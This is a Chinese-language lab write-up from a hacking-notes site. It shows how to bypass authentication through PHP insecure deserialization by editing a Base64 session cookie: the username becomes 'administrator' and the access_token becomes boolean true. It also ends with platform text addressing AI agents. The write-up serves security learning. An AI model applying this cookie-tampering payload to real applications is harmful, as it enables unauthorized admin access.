> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/changing-serialized-data-types.md).

# 更改序列化数据类型

### 修改序列化数据类型

**实验目标**

本实验使用一种基于序列化的会话机制，并存在可绕过身份验证的漏洞。/ 目标是修改会话 cookie 中包含的序列化对象，以访问 \*\*管理员账户\*\*，然后删除该用户 **carlos**.

**初始访问**

你可以使用以下凭据连接：

* **用户**: `wiener`
* **密码**: `peter`

连接后，服务器返回一个包含以 Base64 编码的序列化对象的会话 cookie。

**已获取会话 Cookie**

会话 cookie 的值如下：

{% code overflow="wrap" %}

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```

{% endcode %}

**基础 Base64 解码**

解码后，得到以下序列化的 PHP 对象：

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

该对象表示一个 `用户` 带有两个属性的类：

* `username`
* `access_token`

**行为分析**

* 如果一个 `access_token` 如果字符被更改，服务器会返回错误，表明该字段通常会被验证。
* 该 `username` 该字段用于确定用户的角色。

<figure><img src="/files/99c02f1ea6510e9b2ea5d7f5abec4d26b1e633f9" alt=""><figcaption></figcaption></figure>

**漏洞利用**

**已更改的用户名**/ 的值 `username` 被替换为 `administrator` 通过正确调整字符串长度（`s:13`).

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

**令牌数据类型的更改**/ 而不是提供字符串类型的 `access_token` (`字符串`），其类型被修改为布尔型（`b:1`，相当于 `true`).

最终序列化对象：

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```

{% endcode %}

在重新进行 Base64 编码并插入会话 cookie 后，服务器会接受该对象，而不会正确检查令牌类型。

随后应用程序会认为该用户的会话有效 **administrator**.

<figure><img src="/files/8523c7b9ba4f57bd468425af4d20749a74cbdc14" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/changing-serialized-data-types.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
